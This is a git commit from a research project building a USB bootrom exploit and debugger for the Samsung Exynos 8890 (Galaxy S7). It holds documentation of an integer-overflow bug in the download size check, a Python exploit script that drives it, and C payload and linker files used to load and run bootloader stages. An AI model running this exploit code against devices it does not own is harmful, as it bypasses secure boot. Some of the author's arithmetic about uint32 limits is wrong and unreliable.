This commit is contained in:
Jonathan Herrewijnen 2024-08-09 13:16:16 +02:00
commit 5cf20aa834
30 changed files with 469 additions and 43 deletions

4
.gitignore vendored
View File

@ -1,4 +1,6 @@
dump/ dump/
*.bin *.bin
*.a *.a
venv/ venv/
reven/
!dump/exynos-usbdl/

View File

@ -9,4 +9,6 @@ python3 -m venv venv
pip install -r requirements.txts pip install -r requirements.txts
``` ```
To get to work, run `source/exploit/exploit.py` To get to work, run `source/exploit/exploit.py`
To view documentation, ensure you have sphinx installed. If not, run `sudo apt install python3-sphinx`. Then proceed to build the documentation by running `make livehtml`.

View File

@ -3,11 +3,127 @@ Booting
======= =======
After exploitation the goal is to fully boot the device. After exploitation the goal is to fully boot the device.
Current boot chain:
.. figure:: images/boot_chain.drawio.svg
:align: center
Boot chain
debugger debugger
======== ========
Some other information about the debugger and it's current state. Some other information about the debugger and it's current state.
ROM bl1
--- ===
Loads at address ``0x02024000`` and contains some form of header.
There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary.
In this case this entry is ``+0x10`` so we jump to ``0x02024010``.
.. code-block:: python
fwbl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02024000, fwbl1)
def jump_fwbl1():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02024010)
jump_fwbl1()
However, this does not result in a jump back to the debugger.
The reason for this is the following code in bl1:
.. code-block:: c
iVar3 = FUN_02024320();
if (iVar3 == 1) {
(*(code *)(ulong)uRam0000000002020108)(0,1);
}
This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done.
This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
.. code-block:: c
DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
FUN_02021970:02021a40(R)
02020108 90 57 00 00 undefined4 00005790h
Replacing this function with our debugger makes us jump back:
.. code-block:: python
# Overwrite jump back
self.cd.memwrite_region(0x02020108, p32(0x2069000))
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
def jump_bl1():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02024010)
# self.cd.restore_stack_and_jump(0x02021810)
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl1)
self.usb_write(b"FLSH")
# auth_bl1()
jump_bl1()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
self.cd.arch_dbg.state.print_ctx()
root | DEBUG |
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.
purpose
-------
bl1 interacts with several pheriperals, from the DTB these are:
.. code-block:: dtsi
/* FSYS0 */
pinctrl_5: pinctrl@10E60000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x10E60000 0x1000>;
interrupts = <0 212 0>;
};
/* FSYS1 */
pinctrl_6: pinctrl@15690000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x15690000 0x1000>;
interrupts = <0 202 0>;
};
/* PERIC1 */
pinctrl_9: pinctrl@14CC0000 {
compatible = "samsung,exynos8890-pinctrl";
reg = <0x0 0x14CC0000 0x1000>;
interrupts = <0 460 0>;
};
pmu_system_controller: system-controller@105C0000 {
compatible = "samsung,exynos8890-pmu", "syscon";
reg = <0x0 0x105C0000 0x10000>;
};
rtc@10070000 {
compatible = "samsung,s3c6410-rtc";
reg = <0x0 0x10070000 0x100>;
interrupts = <0 73 0>, <0 74 0>;
clocks = <&clock 157>;
clock-names = "gate_rtc";
};
BL31
----
Setups EL3 stuff, probably in preperation of loading trustzone

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 166 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 262 KiB

File diff suppressed because one or more lines are too long

Before

Width:  |  Height:  |  Size: 7.1 KiB

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 139 KiB

View File

@ -110,19 +110,55 @@ Other general device descriptors are also sent from the device to the host (to d
Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ). Data is transferred via Transfer Request Blocks (TRB), dwc3_depcmd_starttransfer is used. The TRB then contains a buffer address, where transferred data from the host is written to. The buffer allocation is done by 'usb_setup_event_buffer', which sets bufferHigh (DWC3_GEVNTADRLO), bufferLow (DWC3_GEVNTADRHI) and bufferSize (DWC3_GEVNTSIZ).
Bug 1(Integer underflow) Bug 1 (Integer overflow)
------------------------ ------------------------
Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_. Originally described in this `blogpost <https://fredericb.info/2020/06/exynos-usbdl-unsigned-code-loader-for-exynos-bootrom.html#exynos-usbdl-unsigned-code-loader-for-exynos-bootrom>`_.
The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written. The exynos bootrom uses a simple USB protocol to receive a bootloader binary from a USB host. The binary sent is called 'dldata'. In Ghidra, at 21518, we can see that it consists of unit32_t: ready?, uint32: size, ? : data, uint16: footer. The contents of this data are checked before being being written.
.. figure:: images/usb_setup_ready_to_0.png
The ready flag is set to 0 in the Exynos 8890 BootROM in an earlier function on pdVar1->size (pdVar1.size)
.. figure:: images/dl_data_struct.png
The dldata struct in the Exynos 8890 BootROM
.. code:: c .. code:: c
if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) { if ((pdVar1->size < 0x206ffff) && (0x206ffff < pdVar1->size + remaining)) {
*(undefined *)&pdVar1->ready = 2; *(undefined *)&pdVar1->ready = 2;
} }
In essence, in the first conditions, it checks whether the size is smaller than 0x206fff (`pdVar1->size < 0x206ffff`) (34013183 in decimal), and in the second condition, it checks whether 0x206ffff is smaller than the size + remaining (`0x206ffff < pdVar1->size + remaining`). If both conditions are met, the ready flag is set to 2, and the function below to execute the *payload*, will NOT execute! In essence, the payload is not allowed to be larger than 0x206fff (34013183), it checks so with 2 seperate checks
1) In the first condition, the size has to be smaller than 0x206ffff (`pdVar1->size < 0x206ffff`) (34013183 in decimal),
2) and in the second condition, it checks whether 0x206ffff is indeed still less than the size of the payload + remaining (size + remaining)(`0x206ffff < pdVar1->size + remaining`).
If both conditions are met, the payload will NOT be loaded. But this makes sense, as both checks just ensure that the payload is not larger than 0x206ffff.
The bug is however, that the check that the check is done on a uint32_t (2^32 = 4294967296), but the max value that can be checked by a uint32 is 0xFDFDE7FF = 4294967295. So a value of 0xFDFDE7FF + 1 = 0xFDFDE800 = 4294967296, which is larger than the max value of a uint32. So if a payload of this size or more is used, which is much larger than the max requested value 0x206ffff, the check will pass and the payload will still be loaded.
.. figure:: images/usb_payload_size_check.jpeg
The size check in the Exynos 8890 BootROM
Sending such large amounts of data can cause a memory overflow, and will cause the target to crash. Not interesting for exploitation in this context. However, the USB packages that are sent, are split into smaller packages with a size of 0xFFFE00.
.. figure:: images/max_allowed_chunck_size.jpeg
The max allowed chunk size, after which the payload is split.
The dl_buf pointer is set to the amount it expects to write, instead to the amount that it has written. By transferring a large amount of data, without actually writing it (so in a package, send no data, but tell the target that you're sending data with a length larger than 0xFDFDE800), will cause the pointer to move, without actually writing data.
The trick then becomes, to get the pointer to an address we would like to exploit unto. Then we have a little less than 512 bytes (502 according to dldata) to write our payload.
.. code:: c
typedef struct dldata_s {
u_int32_t ready; //start = 02021518, end = 0202151C. Length = 4
u_int32_t size; //start = 0202151C, end = 02021520. Length = 4
u_int8_t data[n]; //start = 02021520, end = 02021714. Length = 502 == MAX TRANSFER SIZE
u_int16_t footer; //start = 02021714, end = 02021716. Length = 2
} dldata;
Bug 2 Bug 2
----- -----
@ -131,7 +167,6 @@ Bug 2
Might be a 0/N-day if exploitable Might be a 0/N-day if exploitable
@ELHER @ELHER
There is a bug(unpatched?) in receiving the last packet of the usb image: There is a bug(unpatched?) in receiving the last packet of the usb image:

View File

@ -14,7 +14,6 @@ author = 'Eljakim, Jonathan'
# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration # https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
extensions = [ 'myst_parser', extensions = [ 'myst_parser',
'sphinx_rtd_theme',
'sphinx.ext.todo', 'sphinx.ext.todo',
'sphinxcontrib.confluencebuilder', 'sphinxcontrib.confluencebuilder',
"sphinxcontrib.drawio", "sphinxcontrib.drawio",

View File

@ -1,3 +1,13 @@
sphinx
sphinx-autobuild
sphinx-rtd-theme sphinx-rtd-theme
sphinxcontrib.confluencebuilder sphinxcontrib.confluencebuilder
sphinxcontrib.drawio sphinxcontrib.drawio
myst_parser
libusb1
pyusb
ghidra_bridge
tqdm
pyhidra
sphinxcontrib.confluencebuilder
sphinxcontrib.drawio

View File

@ -1,9 +1,9 @@
#Ghidra Lock File #Ghidra Lock File
#Sat Aug 03 17:14:04 CEST 2024 #Fri Aug 09 11:27:43 CEST 2024
OS\ Name=Linux OS\ Name=Linux
OS\ Version=6.5.0-44-generic OS\ Version=6.5.0-44-generic
Username=eljakim Username=eljakim
Hostname=levith Hostname=levith
<META>\ Supports\ File\ Channel\ Locking=Channel Lock <META>\ Supports\ File\ Channel\ Locking=Channel Lock
OS\ Architecture=amd64 OS\ Architecture=amd64
Timestamp=8/3/24, 5\:14 PM Timestamp=8/9/24, 11\:27 AM

View File

@ -1,11 +1,13 @@
VERSION=1 VERSION=1
/ /
00000002:8890_bootrom.bin:7f0119bc3142241939494339 00000006:8890_bootrom.bin:7f0119bc3142241939494339
00000002:8890_bootrom.bin.keep:7f011889d240069673442230
/mib3 /mib3
00000000:full_boot:7f0118059140616855428589 00000000:full_boot:7f0118059140616855428589
/s7 /s7
00000007:fwbl1.bin:7f011a0d5252765509589854
00000003:sboot.bin.2.bin:7f011ab837995028720085 00000003:sboot.bin.2.bin:7f011ab837995028720085
00000004:sboot.bin.3.bin:7f011872b8163836628792 00000004:sboot.bin.3.bin:7f011872b8163836628792
00000005:sboot.bin.4.bin:7f011842b8231996037592 00000005:sboot.bin.4.bin:7f011842b8231996037592
NEXT-ID:6 NEXT-ID:8
MD5:d41d8cd98f00b204e9800998ecf8427e MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@ -1,11 +1,13 @@
VERSION=1 VERSION=1
/ /
00000002:8890_bootrom.bin:7f0119bc3142241939494339 00000006:8890_bootrom.bin:7f0119bc3142241939494339
00000002:8890_bootrom.bin.keep:7f011889d240069673442230
/mib3 /mib3
00000000:full_boot:7f0118059140616855428589 00000000:full_boot:7f0118059140616855428589
/s7 /s7
00000003:sboot.bin.2.bin:7f011ab837995028720085 00000007:bl1.bin:7f011a0d5252765509589854
00000003:bl31.bin:7f011ab837995028720085
00000004:sboot.bin.3.bin:7f011872b8163836628792 00000004:sboot.bin.3.bin:7f011872b8163836628792
00000005:sboot.bin.4.bin:7f011842b8231996037592 00000005:sboot.bin.4.bin:7f011842b8231996037592
NEXT-ID:6 NEXT-ID:8
MD5:d41d8cd98f00b204e9800998ecf8427e MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@ -1,8 +1,9 @@
VERSION=1 VERSION=1
/ /
00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037 00000000:udf_7f0118059140616855428589:7f0118d0b142268235940037
00000004:udf_7f011842b8231996037592:7f01190f112184430945139
00000003:udf_7f011872b8163836628792:7f011a9478217161533597 00000003:udf_7f011872b8163836628792:7f011a9478217161533597
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045 00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603 00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
NEXT-ID:4 NEXT-ID:5
MD5:d41d8cd98f00b204e9800998ecf8427e MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@ -4,6 +4,7 @@ VERSION=1
00000004:udf_7f011842b8231996037592:7f01190f112184430945139 00000004:udf_7f011842b8231996037592:7f01190f112184430945139
00000003:udf_7f011872b8163836628792:7f011a9478217161533597 00000003:udf_7f011872b8163836628792:7f011a9478217161533597
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045 00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
00000005:udf_7f011a0d5252765509589854:7f0118e15255467845445248
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603 00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
NEXT-ID:5 NEXT-ID:6
MD5:d41d8cd98f00b204e9800998ecf8427e MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@ -1,2 +1,2 @@
IADD:00000004:/udf_7f011842b8231996037592 IADD:00000005:/udf_7f011a0d5252765509589854
IDSET:/udf_7f011842b8231996037592:7f01190f112184430945139 IDSET:/udf_7f011a0d5252765509589854:7f0118e15255467845445248

View File

@ -1,4 +1,4 @@
import usb.util import usb.util, usb.core
import struct, sys, usb1, libusb1, ctypes, usb, argparse import struct, sys, usb1, libusb1, ctypes, usb, argparse
from keystone import * from keystone import *
from capstone import * from capstone import *
@ -24,17 +24,17 @@ logger.setLevel(logging.DEBUG)
BLOCK_SIZE = 512 BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00 CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)
DL_BUFFER_START = 0x02021800 DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #0x02070000 End DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000
BOOTROM_START = 0x0 BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb BOOTROM_SIZE = 0x20000 #128Kb
TARGET_OFFSETS = { TARGET_OFFSETS = {
# XFER_BUFFER, RA_PTR, XFER_END_SIZE # XFER_BUFFER, RA_PTR, XFER_END_SIZE
"8890": (0x02021800, 0x02020F08, 0x02070000), "8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
"8895": (0x02021800, 0x02020F18, 0x02070000) "8895": (0x02021800, 0x02020F18, 0x02070000)
} }
@ -54,18 +54,18 @@ class ExynosDevice():
self.connect_device() self.connect_device()
def connect_device(self): def connect_device(self):
"""Wait for proper connection to the device"""
self.context = usb1.USBContext() self.context = usb1.USBContext()
while True: while True:
self.handle = self.context.openByVendorIDAndProductID( self.handle = self.context.openByVendorIDAndProductID(
vendor_id=self.idVendor, vendor_id=self.idVendor,
product_id=self.idProduct, product_id=self.idProduct,
skip_on_error=True skip_on_error=False
) )
if self.handle == None: if self.handle == None:
continue continue
break break
print(f"Connected device! {self.idVendor} {self.idProduct}")
print("Connected device!")
def write(self, data): def write(self, data):
transferred = ctypes.c_int() transferred = ctypes.c_int()
@ -100,6 +100,7 @@ class ExynosDevice():
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
pass pass
def test_bug(self): def test_bug(self):
# Start by sending a valid packet # Start by sending a valid packet
# Integer overflow in the size field # Integer overflow in the size field
@ -128,14 +129,16 @@ class ExynosDevice():
def exploit(self, payload: bytes): def exploit(self, payload: bytes):
''' '''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
''' '''
current_offset = TARGET_OFFSETS[self.target][0] current_offset = TARGET_OFFSETS[self.target][0]
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
transferred = ctypes.c_int() transferred = ctypes.c_int()
size_to_overflow = 0x100000000 - current_offset + TARGET_OFFSETS[self.target][1] + 8 + 6 size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
max_payload_size = 0x100000000 - size_to_overflow max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1] # max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200 # max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
@ -152,7 +155,7 @@ class ExynosDevice():
cnt = 0 cnt = 0
while True: while True:
if current_offset + CHUNK_SIZE >= TARGET_OFFSETS[self.target][1] and current_offset < TARGET_OFFSETS[self.target][1]: if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
break break
self.send_empty_transfer() self.send_empty_transfer()
current_offset += CHUNK_SIZE current_offset += CHUNK_SIZE
@ -219,26 +222,82 @@ class ExynosDevice():
Room for playing around with the debugger Room for playing around with the debugger
''' '''
self.cd.arch_dbg.state.auto_sync = False self.cd.arch_dbg.state.auto_sync = False
self.cd.arch_dbg.state.auto_sync_special = False
self.cd.arch_dbg.state.print_ctx() self.cd.arch_dbg.state.print_ctx()
def relocate_debugger():
# Seems to be cleared upon cache clearing??
debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read()
self.cd.memwrite_region(0x020c0000, debugger_reloc)
self.usb_write(b"FLSH") # Flush cache
self.cd.restore_stack_and_jump(0x020c0000)
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
relocate_debugger()
# Try loading bl1
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl1)
# self.usb_write(b"FLSH")
AUTH_BL1 = 0x00012848 AUTH_BL1 = 0x00012848
def auth_bl1(lr=0x2069000):
# Load the firmware
self.cd.arch_dbg.state.W0 = 1
self.cd.arch_dbg.state.X1 = 1
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
self.cd.restore_stack_and_jump(AUTH_BL1)
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
auth_bl1(0x020c0000)
# Works until here
pass
# Overwrite jump back
self.cd.memwrite_region(0x02020108, p32(0x2069000))
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
def memdump_try(): def memdump_try():
dumped = b"" dumped = b""
for block in range(0x2020000, 0x2200000, 0x200): for block in range(0x2020000, 0x2200000, 0x200):
print(hex(block)) print(hex(block))
dumped += self.cd.memdump_region(block, 0x200) dumped += self.cd.memdump_region(block, 0x200)
def auth_bl1():
# Load the firmware
self.cd.arch_dbg.state.X0 = 1
self.cd.arch_dbg.state.X1 = 1
self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
self.cd.restore_stack_and_jump(AUTH_BL1)
fwbl1 = open("../S7/fwbl1.bin", "rb").read()
self.cd.memwrite_region(0x02021800, fwbl1) def jump_bl1():
memdump_try() self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02024010)
# self.cd.restore_stack_and_jump(0x02021810)
#000125b4
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
# self.cd.restore_stack_and_jump(0x00012814)
# self.cd.restore_stack_and_jump(0x000125b4)
auth_bl1() auth_bl1()
# auth_bl1()
jump_bl1()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
self.cd.arch_dbg.state.print_ctx()
def jump_bl31():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02021810)
bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl31)
jump_bl31()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
self.cd.arch_dbg.state.print_ctx()
# memdump_try()
# auth_bl1()
self.cd.arch_dbg.state.print_ctx() self.cd.arch_dbg.state.print_ctx()
#authenticate it #authenticate it
@ -303,15 +362,17 @@ def usb_debug():
send_data() send_data()
recv_data() recv_data()
count += 1 count += 1
pass
pass
if __name__ == "__main__": if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit") arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
# Debug mode
args = arg.parse_args() args = arg.parse_args()
if args.debug: if args.debug:
usb_debug() usb_debug()
sys.exit(0) sys.exit(0)
exynos = ExynosDevice() exynos = ExynosDevice()
exynos.run_boot_chain() exynos.run_boot_chain()

View File

@ -33,7 +33,8 @@ void recv_data(uint32_t address, uint32_t size){
dwc3_ep0_start_trans(2, rbuf, 0x200); dwc3_ep0_start_trans(2, rbuf, 0x200);
while(1){ while(1){
usb_event_handler(); usb_event_handler();
if(*(uint8_t *)dref == 1){ volatile val = *(volatile uint8_t *)dref;
if(val == 1){
break; break;
} }
} }
@ -73,6 +74,10 @@ int main() {
recv_data(0x2069000 + block, block_sz); recv_data(0x2069000 + block, block_sz);
} }
// clear cache
// __asm__ __volatile__("ic iallu\n\t" : : :"memory");
// __asm__ __volatile__("ic ialluis\n\t" : : :"memory");
// Create function at debugger_location // Create function at debugger_location
void (*custom_func)() = (void*)0x2069000; //mem_off; void (*custom_func)() = (void*)0x2069000; //mem_off;
custom_func(); custom_func();

0
source/gupje_device/.gitignore vendored Normal file
View File

View File

@ -0,0 +1,28 @@
ifeq ($(ANDROID_NDK_ROOT),)
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
endif
CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang
AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar
OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy
LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd
#==================Target Samsung S7 (8890)==================
all: samsung_s7 samsung_s7_reloc
CFLAGS_SAMSUNGS7 = -Os -Idevices/samsung_s7/
samsung_s7:
[ -d bin/samsung_s7 ] || mkdir -p bin/samsung_s7/
$(CC) arm64_stub.S -c -o bin/samsung_s7/entry.o $(CFLAGS_SAMSUNGS7)
$(CC) debugger.c -c -o bin/samsung_s7/debugger.o $(CFLAGS_SAMSUNGS7)
$(LD) -T devices/samsung_s7/linkscript.ld bin/samsung_s7/entry.o bin/samsung_s7/debugger.o -o bin/samsung_s7/debugger.elf --just-symbols=devices/samsung_s7/symbols.txt
$(OBJCOPY) -O binary bin/samsung_s7/debugger.elf bin/samsung_s7/debugger.bin
CFLAGS_SAMSUNGS7_RELOC = -Os -DRELOC_DEBUGGER=1 -Idevices/samsung_s7/
samsung_s7_reloc:
[ -d bin/samsung_s7 ] || mkdir -p bin/samsung_s7/
$(CC) arm64_stub.S -c -o bin/samsung_s7/reloc_entry.o $(CFLAGS_SAMSUNGS7_RELOC)
$(CC) debugger.c -c -o bin/samsung_s7/reloc_debugger.o $(CFLAGS_SAMSUNGS7_RELOC)
$(LD) -T devices/samsung_s7/reloc_linkscript.ld bin/samsung_s7/reloc_entry.o bin/samsung_s7/reloc_debugger.o -o bin/samsung_s7/reloc_debugger.elf --just-symbols=devices/samsung_s7/reloc_symbols.txt
$(OBJCOPY) -O binary bin/samsung_s7/reloc_debugger.elf bin/samsung_s7/reloc_debugger.bin

View File

@ -0,0 +1,17 @@
# Gupje
Current memory map:
## Stage 2
Memory map in stage2 after exploitation
![memory map](memory_map.drawio.svg)
## Stage 3
Memory map in stage3 after relocating the debugger
## Usage:
Copy this folder to <gupje>/devices/samsung_s7 and run:
```bash
make -f devices/samsung_s7/Makefile
```

View File

@ -0,0 +1,92 @@
#include <stdint.h>
#include <stddef.h>
// Create external function at 0x00006f88
extern void maybe_usb_setup_read(char endpoint,void *fun,uint32_t target_buffer);
extern void dwc3_ep0_start_trans(char endpoint,uint32_t target_buf, uint32_t len);
extern int usb_event_handler(void);
extern uint32_t get_endpoint_recv_buffer(char endpoint);
extern void exynos_sleep(int endpoint,uint32_t timeout);
extern void usb_send(uint32_t address,uint32_t size);
extern uint32_t recv_buffer;
extern uint32_t data_received;
int mystrlen(char *data) {
int i=0;
while(1) {
if(data[i++] == '\0'){
break;
}
}
return i-1;
}
#ifdef RELOC_DEBUGGER
#define recv_buffer 0x020c6200
#define data_received 0x020c6000
#else
#define recv_buffer 0x206fe00 //0x02021800 + 0x3000
#define data_received 0x206fd00
#endif
void recv_data_cb(uint32_t endpoint, uint32_t len){
char *dest_buf = (char *)recv_buffer;
volatile void *dref = (void *)data_received;
void *rbuf = get_endpoint_recv_buffer(endpoint);
for(int i= 0; i < len; i++){
dest_buf[i] = *(char *)(void *)((int)rbuf + i);
}
*(uint8_t *)dref = 1; // Mark as ready
}
void recv_data(void *address, uint32_t size){
//
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 0;
maybe_usb_setup_read(2, recv_data_cb, size);
uint32_t rbuf = get_endpoint_recv_buffer(2);
dwc3_ep0_start_trans(2, rbuf, size);
while(1){
usb_event_handler();
if(*(uint8_t *)dref == 1){
break;
}
// exynos_sleep(2, 1000);
}
// Copy to destination location
char *dest_buf = (uint64_t)address;
for(int i= 0; i < size; i++){
dest_buf[i] = *(char *)(void *)((int)recv_buffer + i);
}
}
void send_data_cb(uint32_t endpoint, uint32_t len){
// Tell event handler that the data was received
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 1; // Mark as ready
}
void send(void *address, uint32_t size, uint32_t *error){
volatile void *dref = (void *)data_received;
*(uint8_t *)dref = 0;
maybe_usb_setup_read(0x1, send_data_cb, size);
// uint32_t rbuf = get_endpoint_recv_buffer(1);
dwc3_ep0_start_trans(1, (uint64_t)address, size);
while(1){
usb_event_handler();
if(*(uint8_t *)dref == 1){
break;
}
// exynos_sleep(1, 1000);
}
}
void usb_log(char * msg, uint32_t * error){
send(msg, mystrlen(msg), error);
}
void concrete_main(uint64_t debugger){
}

View File

@ -0,0 +1,14 @@
MEMORY {
ROM (rwx): ORIGIN = 0x2069000, LENGTH = 0x1000
}
SECTIONS
{
. = 0x2069000;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 9.7 KiB

View File

@ -0,0 +1,14 @@
MEMORY {
ROM (rwx): ORIGIN = 0x020c0000, LENGTH = 0x1000
}
SECTIONS
{
. = 0x020c0000;
.text . : {
*(.text*)
*(.data*)
*(.rodata*)
} >ROM
}

View File

@ -0,0 +1,12 @@
debugger_storage = 0x020c4000;
debugger_stack = 0x020c2000;
debugger_entry = 0x020c0000;
maybe_usb_setup_read = 0x00006f88;
dwc3_ep0_start_trans = 0x0000791c;
usb_event_handler = 0x00007bac;
get_endpoint_recv_buffer = 0x00007a7c;
exynos_sleep = 0x000027c8;
g_recv_buffer = 0x020c6200;
g_data_received = 0x020c6000;

View File

@ -0,0 +1,11 @@
debugger_storage = 0x206d000;
debugger_stack = 0x206b000;
debugger_entry = 0x2069000;
maybe_usb_setup_read = 0x00006f88;
dwc3_ep0_start_trans = 0x0000791c;
usb_event_handler = 0x00007bac;
get_endpoint_recv_buffer = 0x00007a7c;
exynos_sleep = 0x000027c8;
RELOCATED = 0;